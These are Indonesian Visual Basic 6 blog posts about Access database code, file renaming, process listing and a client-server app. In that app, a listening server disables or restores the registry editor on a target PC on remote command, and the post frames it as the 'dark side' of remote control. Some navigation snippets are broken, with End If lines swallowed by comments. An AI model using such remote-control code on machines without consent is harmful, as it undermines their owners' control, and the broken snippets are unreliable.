Belajar Visual Basic

Memunculkan Field Gambar(OLE Object) Di Database Acces

2011-10-31T14:00:00.002+07:00

Sedikiit berbagi lagi.. Mungkin Teman2 ada kesulitan mengenai memunculkan file Image Database Acces ke VB. Saya menggunakan dua Cara untuk mewujudkan hal tersebut:

Me-Load Gambar dalam Kontrol Image dari String Alamat Gambar yang telah ada di Field Database, jadi Field dalam tabel bertype Text. Keuntungannya Database berukuran lebih Kecil dibanding cara kedua.
Meload Gambar Dari Field yang bertype OLE Object kedalam kontrol Image. Keuntungannya semua gambar dalam satu database sehingga dapat sebagai pustaka gambar.

Kali ini kita akan menggunakan cara yang kedua, Buat Database Acces bernama "BioData.mdb" terdiri atas satu Tabel yaitu "TblPhotoSaja" dan di dalamnya buat field Type Ole Object beri nama "Image",serta satu field lagi Bertype AutoNumber berinama "Id", Langsung saja ^_^ ini saourcenya..

Copy Paste Code Dibawah Ini Dalam form

Option Explicit
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Declare Function lOpen Lib "kernel32" Alias "_lopen" (ByVal lpPathName As String, ByVal iReadWrite As Long) As Long
Private Declare Function lclose Lib "kernel32" Alias "_lclose" (ByVal hFile As Long) As Long
Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private lpFSHigh As Long
Private strfilepath As String
Private Buffer As String
Private Const OF_READ = &H0&
Private db As ADODB.Connection
Private WithEvents adoPrimaryRSImageName As Recordset

Private Type OPENFILENAME
    lStructSize As Long
    hwndOwner As Long
    hInstance As Long
    lpstrFilter As String
    lpstrCustomFilter As String
    nMaxCustFilter As Long
    nFilterIndex As Long
    lpstrFile As String
    nMaxFile As Long
    lpstrFileTitle As String
    nMaxFileTitle As Long
    lpstrInitialDir As String
    lpstrTitle As String
    Flags As Long
    nFileOffset As Integer
    nFileExtension As Integer
    lpstrDefExt As String
    lCustData As Long
    lpfnHook As Long
    lpTemplateName As String
End Type

Private Function GetFile(ByRef frm As Form) As String
    Dim OFName As OPENFILENAME
    OFName.lStructSize = Len(OFName)
    'Set the parent window
    OFName.hwndOwner = frm.hWnd
    'Set the application's instance
    OFName.hInstance = App.hInstance
    'Select a filter
    OFName.lpstrFilter = "Bitmap (*.bmp)" + Chr$(0) + _
      "*.bmp" + Chr$(0) + _
      "Jpg (*.jpg)" + Chr$(0) + _
      "*.jpg" + Chr$(0) + _
      "Icons (*.ico)" + Chr$(0) + _
      "*.ico" + Chr$(0) + _
      "Windows Metafiles (*.wmf)" + Chr$(0) + _
      "*.wmf" + Chr$(0) + _
      "Jpeg (*.jpeg)" + Chr$(0) + _
      "*.jpeg" + Chr$(0) + _
      "Gif (*.gif)" + Chr$(0) + _
      "*.gif" + Chr$(0) + _
      "All Files (*.*)" + Chr$(0) + _
      "*.*" + Chr$(0)
    'create a buffer for the file
    OFName.lpstrFile = Space$(254)
    'set the maximum length of a returned file
    OFName.nMaxFile = 255
    'Create a buffer for the file title
    OFName.lpstrFileTitle = Space$(254)
    'Set the maximum length of a returned file title
    OFName.nMaxFileTitle = 255
    'Set the initial directory
    'OFName.lpstrInitialDir = "C:\" 'Commented so that the box opens on the last directory browsed
    'Set the title
    OFName.lpstrTitle = "Open Dialog Box"
    'No flags
    OFName.Flags = 0
    'Show the 'Open File'-dialog
    If GetOpenFileName(OFName) Then
      GetFile = Trim$(OFName.lpstrFile)
    Else
      GetFile = ""
    End If
End Function

Private Sub SaveBitmap(ByRef adoRS As ADODB.Recordset, ByVal strField As String, ByVal SourceFile As String)
    'This sub copies the actual file into a byte array.
    'This byte array is then used as the value for
    'the field having an image data type
    Dim Arr() As Byte
    Dim Pointer As Long
    Dim SizeOfThefile As Long
    Pointer = lOpen(SourceFile, OF_READ)
    'size of the file
    SizeOfThefile = GetFileSize(Pointer, lpFSHigh)
    lclose Pointer
    'Resize the array, then fill it with
    'the entire contents of the field
    ReDim Arr(SizeOfThefile)
    Open SourceFile For Binary Access Read As #1
    Get #1, , Arr
    Close #1
    adoRS(strField).Value = Arr
    Exit Sub
End Sub

Private Sub cmdFirst_Click()
If adoPrimaryRSImageName.BOF And adoPrimaryRSImageName.RecordCount = 0 Then
   MsgBox "Anda Tidak Memiliki Data Record, Klik Tombol " & """" & "Tambah Record" & """" & " untuk Membuat Record."
Else
  adoPrimaryRSImageName.MoveFirst
End If
End Sub

Private Sub cmdLast_Click()
If adoPrimaryRSImageName.EOF And adoPrimaryRSImageName.RecordCount = 0 Then
   MsgBox "Anda Tidak Memiliki Data Record."
Else
    adoPrimaryRSImageName.MoveLast
End If
End Sub

Private Sub cmdNext_Click()
If adoPrimaryRSImageName.EOF And adoPrimaryRSImageName.RecordCount = 0 Then
   MsgBox "Anda Tidak Memiliki Data Record."
End If
If Not adoPrimaryRSImageName.EOF Then adoPrimaryRSImageName.MoveNext
If adoPrimaryRSImageName.EOF And Not adoPrimaryRSImageName.RecordCount = 0 Then
    Beep
    adoPrimaryRSImageName.MoveLast
End If
End Sub

Private Sub cmdPrevious_Click()
If adoPrimaryRSImageName.BOF And adoPrimaryRSImageName.RecordCount = 0 Then
   MsgBox "Anda Tidak Memiliki Data Record"
End If
If Not adoPrimaryRSImageName.BOF Then adoPrimaryRSImageName.MovePrevious
If adoPrimaryRSImageName.BOF And Not adoPrimaryRSImageName.RecordCount = 0 Then
    Beep
    adoPrimaryRSImageName.MoveFirst
End If
End Sub

Private Sub CariSimpanImage_Click()
    strfilepath = GetFile(Me)
    If strfilepath <> "" Then
        Image1.Picture = LoadPicture(strfilepath)
        SaveBitmap adoPrimaryRSImageName, "Image", strfilepath
    End If
End Sub

Sub Koneksi()
    Set db = New ADODB.Connection
    db.CursorLocation = adUseClient
    db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" & _
      "Data Source=" & App.Path & "\BioData.mdb"
    Set adoPrimaryRSImageName = New ADODB.Recordset
    adoPrimaryRSImageName.Open "TblPhotoSaja", db, adOpenDynamic, adLockOptimistic
    Set Image1.DataSource = adoPrimaryRSImageName
End Sub

Private Sub Form_Load()
    Koneksi
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Set db = Nothing
    Set adoPrimaryRSImageName = Nothing
    Unload Me
End Sub

Semoga bermanfaat.. ^_^

Serpihan Kode Database Access

2011-05-22T01:25:00.030+07:00

Pertama yang perlu disapkan adalah :

Nama Database : DBPembelajaran.mdb format Microsoft Office Access 2000

Nama Tabel : SiswaLogin

Nama Field dalam Tabel SiswaLogin : Nama Field Nama_Siswa TypeField Text dan field kedua Nama Field NIS TypeField Text

Klik Menu Project Pilih References.. : Microsoft ActiveX Data Object 2.0 Library atau versi yang lebih tinggi.

Dibawah ini serpihan kode yang mungkin bermanfaat, silahkan...
1. a. Koneksi Dengan Database Yang Tidak Berpassword

Option Explicit
Dim db As ADODB.Connection
Dim adoPrimaryRSLoginSiswa As ADODB.Recordset

Private Sub Form_Load()
On Error GoTo err
        Set db = New ADODB.Connection
        db.CursorLocation = adUseClient
        db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" & _
          "Data Source=" & App.Path & "\DBPembelajaran.mdb;"
err:
        If db.State = 1 Then
            MsgBox "Terkoneksi dengan database"
        ElseIf db.State = 0 Then
            MsgBox "Tidak Terkoneksi dengan database.", vbInformation, "Error"
        End If
End Sub

1. b. Koneksi Dengan Database Berpassword

Private Sub Form_Load()
On Error GoTo ERR
        Dim DBBerPassword
        Set DBBerPassword = New ADODB.Connection
        DBBerPassword.CursorLocation = adUseClient
        DBBerPassword.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\DBPembelajaran - Copy.mdb" & ";Persist Security Info=False;Mode=12;Jet OLEDB:Database Password=TulisPasswordnya"
ERR:
        If DBBerPassword.State = 1 Then
            MsgBox "Terkoneksi dengan database"
        ElseIf DBBerPassword.State = 0 Then
            MsgBox "Tidak Terkoneksi dengan database.", vbInformation, "Error"
        End If
End Sub

2. Buka Record

Private Sub Command1_Click()
On Error GoTo err
        Set adoPrimaryRSLoginSiswa = New ADODB.Recordset
        adoPrimaryRSLoginSiswa.Open "TblSiswaLogin", db, adOpenStatic, adLockOptimistic
err:
        If adoPrimaryRSLoginSiswa.State = 1 Then
            MsgBox "Terkoneksi dengan Tabel"
        ElseIf adoPrimaryRSLoginSiswa.State = 0 Then
            MsgBox "Tabel tidak ditemukan, cek kembali tabel yang ada dalam database.", vbInformation, "Error"
        End If
End Sub

3. Cek Isi Field

Private Sub Command2_Click()
    adoPrimaryRSLoginSiswa.MoveFirst
    MsgBox "NAMA FIELD : " & adoPrimaryRSLoginSiswa.Fields(0).Name & _
    vbCrLf & "ISI FIELD RECORD PERTAMA : " & adoPrimaryRSLoginSiswa.Fields(0).Value, vbInformation
End Sub

4. Menghubungkan Isi Field Ke Control

Private Sub Command3_Click()
    Set Me.Text1.DataSource = adoPrimaryRSLoginSiswa
    Set Me.Text2.DataSource = adoPrimaryRSLoginSiswa
    
    Me.Text1.DataField = "NAMA_SISWA"
    Me.Text2.DataField = "NIS"
    
End Sub

5. Mengecek Field Kosong (IsNull)

Private Sub Command4_Click()
    'DI PROPERTY Text3 MultiLine pilih True
    'DI PROPERTY Text3 ScrollBars pilih 3
    Text3.Text = "MENGECEK FIELD NIS KOSONG"
    adoPrimaryRSLoginSiswa.MoveFirst
    While Not adoPrimaryRSLoginSiswa.EOF
    If IsNull(adoPrimaryRSLoginSiswa.Fields("NIS")) = True Then
        Text3.Text = Text3.Text & vbCrLf & "NO : " & adoPrimaryRSLoginSiswa.AbsolutePosition & ". " & adoPrimaryRSLoginSiswa.Fields("NAMA_SISWA").Value & " KOSONG"
    ElseIf IsNull(adoPrimaryRSLoginSiswa.Fields("NIS")) = False Then
        Text3.Text = Text3.Text & vbCrLf & "NO : " & adoPrimaryRSLoginSiswa.AbsolutePosition & " TIDAK KOSONG "
    End If
        adoPrimaryRSLoginSiswa.MoveNext
    Wend
End Sub

6. Navigasi

Private Sub Command5_Click()
    If adoPrimaryRSLoginSiswa.AbsolutePosition = 1 Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then
        Beep
    Else
        adoPrimaryRSLoginSiswa.MoveFirst 'Ke record Pertama
    End If
    Me.Label2.Caption = "NO. " & adoPrimaryRSLoginSiswa.AbsolutePosition
End Sub

Private Sub Command6_Click()
    If adoPrimaryRSLoginSiswa.AbsolutePosition = 1 Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then
        Beep
    Else
        adoPrimaryRSLoginSiswa.MovePrevious "Ke record Sebelumnya    End If
    Me.Label2.Caption = "NO. " & adoPrimaryRSLoginSiswa.AbsolutePosition
End Sub

Private Sub Command7_Click()
    If adoPrimaryRSLoginSiswa.AbsolutePosition = adoPrimaryRSLoginSiswa.RecordCount Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then
        Beep
    Else
        adoPrimaryRSLoginSiswa.MoveNext 'Ke record Selanjutnya    End If
    Me.Label2.Caption = "NO. " & adoPrimaryRSLoginSiswa.AbsolutePosition
End Sub

Private Sub Command8_Click()
    If adoPrimaryRSLoginSiswa.AbsolutePosition = adoPrimaryRSLoginSiswa.RecordCount Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then
        Beep
    Else
        adoPrimaryRSLoginSiswa.MoveLast 'Ke record Terakhir    End If
    Me.Label2.Caption = "NO. " & adoPrimaryRSLoginSiswa.AbsolutePosition
End Sub

6. Mendapatkan Tabel Dalam database

Private Sub Command9_Click()
Dim NamaTabel As ADODB.Recordset
Set NamaTabel = db.OpenSchema(adSchemaTables)
    While Not NamaTabel.EOF
        If NamaTabel!TABLE_TYPE = "TABLE" Then Text4.Text = Text4.Text & vbCrLf & NamaTabel!TABLE_NAME
        NamaTabel.MoveNext
    Wend
End Sub

7. Mendapatkan Field Dalam Tabel

Private Sub Command10_Click()
Dim Column As ADODB.Field
If adoPrimaryRSLoginSiswa.State = adStateOpen Then
    For Each Column In adoPrimaryRSLoginSiswa.Fields
        Text5.Text = Text5.Text & vbCrLf & Column.Name
    Next
End If
End Sub

8. Membuat Tabel - Create Table

Private Sub Command11_Click()
    Dim Cmd As New ADODB.Command
    Cmd.ActiveConnection = db
    Cmd.CommandText = "create table TabelBaru (NAMA_SISWA varchar(20), KELAS varchar(5), TENTANG_SISWA LongChar, Foto LongBinary)"
    Cmd.Execute
End Sub

9. Menambahkan Field Di Tabel Yang Sudah Ada - Add Field In Exists Table

Private Sub Command12_Click()
'Tambahkan references Microsoft ADO Ext. 2.1 for DDL and Security atau versi lebih tinggi
    Dim Xconx As ADODB.Connection
    Dim Xcmd As ADODB.Command
    Dim Xrs As ADODB.Recordset
    Dim m_MDBdatabase As String
    Dim m_MDBtable As String

'Tambahkan columns di tabel yang sudah ada
    Dim ADOXcat As ADOX.Catalog
    Dim MStbl As ADOX.table
    Dim MScol As ADOX.Column
    
    m_MDBdatabase = App.Path & "\DBPembelajaran.mdb"
    m_MDBtable = "TblSiswaLogin"

'Membuat koneksi
    Set Xconx = New ADODB.Connection
    Set Xcmd = New ADODB.Command
    Set Xrs = New ADODB.Recordset
    Set Xconx = CreateObject("ADODB.Connection")
    Xconx.Open "Provider=Microsoft.Jet.OLEDB.4.0;" & _
    "Persist Security Info=False;" & _
    "Data Source=" & m_MDBdatabase
    Set Xrs = CreateObject("ADODB.Recordset")
    Xrs.CursorLocation = adUseServer

'Mengirimkan MDB dan table ke catalog
    Set ADOXcat = New ADOX.Catalog
    ADOXcat.ActiveConnection = _
    "Provider=Microsoft.Jet.OLEDB.4.0;" & _
    "Data Source=" & m_MDBdatabase
    Set MStbl = ADOXcat.Tables(m_MDBtable)

'Menambahkan columns/Field ke tabel yang ada
    MStbl.Columns.Append "NILAI", adDouble
    MStbl.Columns.Append "KETERANGAN", adVarWChar, 255
    MStbl.Columns.Append "TANGGAL_LAHIR", adDate
    
'Bersihkan
    ADOXcat.ActiveConnection.Close
    Set ADOXcat = Nothing
    Set MStbl = Nothing
    Set MScol = Nothing
    Set Xconx = Nothing
    Set Xcmd = Nothing
    Set Xrs = Nothing
End Sub

10. Hapus Semua Record Dalam Tabel

Private Sub Command13_Click()
    db.Execute "DELETE FROM TBLsiswalogin"
End Sub

11. Hapus Tabel

Private Sub Command14_Click()
'Tambahkan references Microsoft DAO 3.6 Object Library atau versi lebih tinggi
    Dim ConMateri As Database, AdoDao%
    Set ConMateri = OpenDatabase(App.Path & "\DBPembelajaran.MDB", False, False, "MS Access;Pwd=dbpwd")
    Dim TbDef As TableDefs
    Set TbDef = ConMateri.TableDefs
    ConMateri.TableDefs.Delete "NamaTabelYangAkanDiHapus"
End Sub

Rename File Atau Folder

2011-01-17T11:23:00.002+07:00

Hai... Ini ada sedikit Source Code untuk Rename File Folder, Posting ini termotivasi dari Pertanyaan Anggota Grup Programer VB Indonesia.
Langsung saja ini codenya, Semoga bermanfaat.

Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long
Private Type SHFILEOPSTRUCT
    hwnd As Long
    wFunc As Long
    pFrom As String
    pTo As String
    fFlags As Integer
    fAborted As Boolean
    hNameMaps As Long
    sProgress As String
End Type
 Const FO_DELETE = &H3
 Const FO_RENAME = &H4
 Const FO_COPY = &H2

Sub RenameFile()
Dim NewFileName As String
Dim TitleFile
Dim PathFile
'On Error Resume Next
TitleFile = "Baru"
PathFile = "D:\Lama"
NewFileName = InputBox("Are you sure want rename File " & """" & TitleFile & """?", _
        "Rename File", PathFile)
Dim SHDirOp As SHFILEOPSTRUCT
    With SHDirOp
        .wFunc = FO_RENAME
        .pFrom = "D:\BARU"
        .pTo = NewFileName
    End With
SHFileOperation SHDirOp
End Sub

Private Sub Form_Load()
    RenameFile
End Sub

Basic Client - Server

2010-12-21T12:59:00.002+07:00

Beberapa hari lalu ada teman yang menulis komentar pada postingan Remote Desktop - Pengontrol Komputer Orang Lain ,dia mendapat tugas untuk membuat aplikasi Client-Server yang fungsi aplikasi tersebut adalah untuk mengontrol Sistem Registry komputer target. Untuk memenuhi pertanyaan teman tersebut serta mengupdate Blog ini maka jawabannya saya tulis dalam bentuk postingan..
Langsung saja ini screenshot dan kodenya.

Langkah Pembuatan Project

Buat dua buah project, yaitu Project Client dan Project Server.
Untuk Project Client terdiri atas 3 CommandButton, 1 Text untuk menampung IP Address komputer target (server), 1 label info koneksi dan 1 Component Microsoft Winsock Control 6.0. Lebih jelasnya lihat gambar di atas.
UntukProject Server cukup 1 label info dan 1 Component Microsoft Winsock Control 6.0.

Copy Paste Code dibawah ini pada form Project Client.

'panggil URL
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const conSwNormal = 1

Private Sub ConnectToServer()
On Error Resume Next
        WscClient.Connect Text1.Text, 2010
End Sub
Private Sub DisConnectToServer()
        WscClient.Close
End Sub
Private Sub Command1_Click()
    If Command1.Caption = "Connect" Then
        ConnectToServer
    ElseIf Command1.Caption = "Disconnect" Then
        DisConnectToServer
        Command1.Caption = "Connect"
        Command2.Enabled = False
        Command3.Enabled = False
        lblInfo.Caption = "Belum Konek Server..."
    End If
End Sub


Private Sub Command2_Click()
   WscClient.SendData "enablereg"
End Sub

Private Sub Command3_Click()
    WscClient.SendData "disablereg"
End Sub

Private Sub Form_Load()
    WscClient.Protocol = sckTCPProtocol
End Sub

Private Sub Label1_Click()
ShellExecute hwnd, "open", "Http://vbasiccode.blogspot.com", vbNullString, vbNullString, conSwNormal

End Sub

Private Sub Label2_Click()
ShellExecute hwnd, "open", "http://vbasiccode.blogspot.com/2010/04/tutorial-ptc.html", vbNullString, vbNullString, conSwNormal
End Sub

Private Sub Label3_Click()
ShellExecute hwnd, "open", "http://www.facebook.com/OutOfStack", vbNullString, vbNullString, conSwNormal

End Sub

Private Sub WscClient_Close()
        Command1.Caption = "Connect"
        Command2.Enabled = False
        Command3.Enabled = False
        lblInfo.Caption = "Aplikasi Server Ditutup..."
End Sub

Private Sub WscClient_Connect()
    lblInfo.Caption = "Terkoneksi dengan Server"
    Command2.Enabled = True
    Command3.Enabled = True
    Command1.Caption = "Disconnect"
End Sub
Private Sub WscClient_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String
Dim Vector() As String
WscClient.GetData date_primite
Vector = Split(date_primite, "|")

Select Case Vector(0)

Case "laporan"
    MsgBox Vector(1)
End Select

End Sub

Copy Paste Code dibawah ini pada form Project Server.

Private Sub Form_Load()
    WskServer.LocalPort = 2010
    WskServer.Listen
End Sub


Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
        WskServer.Close
End Sub

Private Sub WskServer_Close()
    WskServer.Close
    WskServer.Listen
    lblInfo.Caption = "Koneksi ditutup Client..."
End Sub

Private Sub WskServer_ConnectionRequest(ByVal requestID As Long)
    WskServer.Close
    WskServer.Accept requestID
    lblInfo.Caption = "Terkoneksi dengan client..."
End Sub

Private Sub WskServer_DataArrival(ByVal bytesTotal As Long)
    Dim date_primite As String
    Dim Vector() As String
    Dim regrun
    Set regrun = CreateObject("WScript.Shell")
    WskServer.GetData date_primite
    Vector = Split(date_primite, "|")
    Select Case Vector(0)
    Case "disablereg"
        regrun.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
        regrun.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
        WskServer.SendData "laporan|" + "Laporan dari Server:""Registry Server tidak dapat dibuka."""
    Case "enablereg"
        regrun.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"
        regrun.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"
        WskServer.SendData "laporan|" + "Laporan dari Server: ""Registry Server sudah dapat dibuka kembali."""
    End Select

End Sub

Private Sub WskServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    WskServer.Close
    WskServer.Listen
End Sub

Silahkan Download BasicRemoteDesktop.rar
Aplikasi dibuat di windows XP dan jika dijalankan di Windows 7 maka klik kanan dan jalankan aplikasi sebagai Administrator.
Semoga bermanfaat..Amin.

Tips Instalasi Visual Basic 6.0 di Windows 7

2010-12-07T22:59:00.001+07:00

Setelah lama malas tidak otak-atik VB 6.0 karena setelah VB 6.0 diinstal di windows 7 tampilan/komposisi dari layar acak-acakan maka malam ini aktifitas otak-atik dimulai lagi, ternyata tips untuk mengatasi hal tersebut simpel dan semoga dalam otak-atik nanti tidak mengalami gangguan compatible dengan windows 7 ultimate.
Langsung saja Tips Instalasi VB 6.0 di Windows 7 :

1. Buka folder Visual Basic
2. Cari file setup.exe
3. Klik kanan setup.exe dan pilih Properties
4. Sesuaikan Properties File setup.exe dengan gambar di bawah ini :

5. Setelah selesai lakukan Instalasi seperti biasa, dan jika muncul peringatan seperti gambar di bawah ini klik Run Program.

6. Setelah selesai silahkan buka Project maka tampilan/komposisi layar Visual Basic sudah tidak acak-acakan lagi dan kembali seperti tampilan Windows XP SP 2, karena pada properties Setup.exe Tab Compability kita telah mencentang Disable Visual Themes, Disable Desktop Composition, Disable Display Scaling on high DPI Settings dan juga Run As Administrator.
7. Semoga bermanfaat.

Path Windows Proccess

2010-09-07T01:03:00.005+07:00

Kadang pada saat membuat aplikasi yang berhubungan dengan keamanan suatu system windows maka diperlukan suatu progran yang dapat mendeteksi alamat/path suatu file yang sedang berjalan/melakukakan proses di windows... apakah file target tersebut akan ditutup prosesnya ataukah akan dihapus.
Kali ini kita hanya akan membuat suatu program yang berfungsi untuk mengetahui alamat/path suatu file yang sedang berjalan berdasarkan Process ID (PID) file tersebut, jika lebih kreaatif tentu nanti dapat ditambahkan fungsi-fungsi "Protector" lainnya misalkan menutup/close file, mendapatkan sign/tanda crc32 file tersebut atau juga dapat menghapus file tersebut dari konputer kita. Langsung saja ini source codenya...

Masukkan source code ini pada form..

Private Sub CmdRefresh_Click()
LblIndexListProses.Caption = 0
Update
Timer1.Enabled = True
End Sub
Private Sub Command1_Click()
FrmAbout.Show
End Sub
Private Sub Form_Load()
Update
End Sub
Private Sub Form_Unload(Cancel As Integer)
End
End Sub
Private Sub ListProsesAktif_Click()
LstIDProcess.Selected(ListProsesAktif.ListIndex) = True
LstIDProcess.TopIndex = ListProsesAktif.TopIndex
LstIDProcess.ListIndex = ListProsesAktif.ListIndex
LblFileProcess.Caption = " " & PathByPID(LstIDProcess.Text)
Dim tell As Long
tell = ListProsesAktif.ListIndex + 1
LblIndexListProses.Caption = tell
If Timer1.Enabled = False Then
LstPathFile.Selected(ListProsesAktif.ListIndex) = True
LstPathFile.TopIndex = ListProsesAktif.TopIndex
LstPathFile.ListIndex = ListProsesAktif.ListIndex
End If
End Sub
Private Sub ListProsesAktif_Scroll()
LstIDProcess.TopIndex = ListProsesAktif.TopIndex
LstPathFile.TopIndex = ListProsesAktif.TopIndex
End Sub
Private Sub LstIDProcess_Click()
On Error Resume Next
ListProsesAktif.Selected(LstIDProcess.ListIndex) = True
ListProsesAktif.TopIndex = LstIDProcess.TopIndex
ListProsesAktif.ListIndex = LstIDProcess.ListIndex
End Sub
Private Sub LstIDProcess_Scroll()
ListProsesAktif.TopIndex = LstIDProcess.TopIndex
End Sub
Private Sub LstPathFile_Click()
LstIDProcess.Selected(LstPathFile.ListIndex) = True
LstIDProcess.TopIndex = LstPathFile.TopIndex
LstIDProcess.ListIndex = LstPathFile.ListIndex
LstPathFile.ToolTipText = LstPathFile.Text
End Sub
Private Sub Timer1_Timer()
If Second(Now) Mod 1 = 0 Then
If LblIndexListProses.Caption = 0 Then
ListProsesAktif.Selected(LblIndexListProses.Caption) = True
LblIndexListProses.Caption = LblIndexListProses.Caption + 1
' otomatis index terseleksi
LstPathFile.AddItem PathByPID(LstIDProcess.Text)
Else
ListProsesAktif.Selected(LblIndexListProses.Caption - 1) = True
LblIndexListProses.Caption = LblIndexListProses.Caption + 1
LstPathFile.AddItem PathByPID(LstIDProcess.Text)
End If
If ListProsesAktif.Selected(LstIDProcess.NewIndex) = True Then
Timer1.Enabled = False
LstPathFile.Selected(ListProsesAktif.ListIndex) = True
End If
End If
End Sub

Masukkan code ini pada module

Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function Process32First Lib "kernel32" (ByVal _
hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal _
hSnapshot As Long, lppe As PROCESSENTRY32) As Long
'Enum the path
Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As Long) As Long
Const MAX_PATH As Integer = 260
Const TH32CS_SNAPALL = (&H1 Or &H2 Or &H4 Or &H8)
Public Const PROCESS_QUERY_INFORMATION As Long = &H400
Public Const PROCESS_VM_READ = &H10
Public Declare Function EnumProcessModules Lib "psapi.dll" ( _
ByVal hProcess As Long, _
ByRef lphModule As Long, _
ByVal cb As Long, _
ByRef cbNeeded As Long) As Long
Public Declare Function GetModuleFileNameExA Lib "psapi.dll" ( _
ByVal hProcess As Long, _
ByVal hModule As Long, _
ByVal ModuleName As String, _
ByVal nSize As Long) As Long
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Function Update()
'On Error Resume Next
Dim hSnapshot As Long, uProcess As PROCESSENTRY32, R As Long
FrmMain.ListProsesAktif.Clear
FrmMain.LstIDProcess.Clear
FrmMain.LstPathFile.Clear
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
uProcess.dwSize = Len(uProcess)
R = Process32First(hSnapshot, uProcess)
Do While R
FrmMain.ListProsesAktif.AddItem Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) > 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0))
FrmMain.ListProsesAktif.ItemData(FrmMain.ListProsesAktif.NewIndex) = uProcess.th32ProcessID
FrmMain.LstIDProcess.AddItem (uProcess.th32ProcessID)
R = Process32Next(hSnapshot, uProcess)
FrmMain.TxtSumProcess.Caption = FrmMain.ListProsesAktif.ListCount & " Win Process"
Loop
CloseHandle hSnapshot
End Function
Public Function PathByPID(pid As Long) As String
'Fungsi ini berfungsi untuk mendapatkan informasi tentang aplikasi yang sedang
'berjalan dengan menggunakan Process ID masing-masing aplikasi
'----
'Kode ini dapat dilihat di :
'http://support.microsoft.com/default.aspx?scid=kb;en-us;187913
On Error Resume Next
Dim cbNeeded As Long
Dim Modules(1 To 200) As Long
Dim ret As Long
Dim ModuleName As String
Dim nSize As Long
Dim hProcess As Long
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION _
Or PROCESS_VM_READ, 0, pid)
If hProcess <> 0 Then
ret = EnumProcessModules(hProcess, Modules(1), _
200, cbNeeded)
If ret <> 0 Then
ModuleName = Space(MAX_PATH)
nSize = 500
ret = GetModuleFileNameExA(hProcess, _
Modules(1), ModuleName, nSize)
PathByPID = Left(ModuleName, ret)
End If
End If
ret = CloseHandle(hProcess)
If PathByPID = "" Then
PathByPID = "FILE WINDOWS"
End If
If Left(PathByPID, 4) = "\??\" Then
PathByPID = "FILE WINDOWS"
End If
If Left(PathByPID, 12) = "\SystemRoot\" Then
PathByPID = "FILE WINDOWS"
End If
FrmMain.ListProsesAktif.Selected(ListProsesAktif.NewIndex) = True
End Function

Semoga bermanfaat
Download PathWinProccess

Membuat CD Presentasi Pembelajaran Bab Virus

2010-08-22T23:41:00.001+07:00

Pertengahan tahun 2009 yang lalu saya mendapatkan panggilan untuk sertifikasi guru, tentu saja bidang studi Biologi. Untuk bahan-bahan yang dikumpulkan antara lain SK (surat Keputusan) selama kita menjadi guru, RPP, media pengajaran dan lain-lain. Untuk media pengajaran karena media presentasi berupa power point juga sudah banyak yang bisa maka saya berusaha membuat media pengajaran yang berbeda dari kebanyakan yaitu berupa CD presentasi pembelajaran interaktif dengan Visual basic sebanyak 5 buah, dan alhamdulillah kesemuanya mendapatkan poin/penilaian. Disini akan saya bagikan file aplikasi presentasi tersebut, salah satunya adalah CD Pembelajaran Bab Virus.
Aplikasi presentasi ini bersifat fleksibel sehingga anda dapat menggunakannya untuk materi-materi yang lainnya misalkan membuat presentasi bab Protista, Bab Fungi dan lain-lain. Dan andapun dapat menuliskan nama, sekolah, kelas anda untuk menggantikan identitas saya.
Untuk lebih jelasnya anda dapat mengotak-atik sendiri file-file yang telah ada dan kemudian menjalankan aplikasi tersebut, otak-atik lagi dan jalankan lagi..hehe..

Terimakasih telah membaca dan berkunjung
Download CD Interaktif Pembelajaran Bab Virus

Remote Desktop - Pengontrol Komputer Orang Lain

2010-08-01T01:07:00.005+07:00

Aplikasi ini dibuat HANYA dengan tujuan pembelajaran mengenai Pemrograman Remote Desktop Client - Server, dengan sudut pandang dari sisi hitamnya. Karena disatu sisi terdapat fasilitas yang menguntungkan bagi si pemegang aplikasi Client namun disisi lain dapat merugikan orang yang komputernya berjalan aplikasi server.

Screenshot Client.exe setelah terkoneksi dengan Server.exe

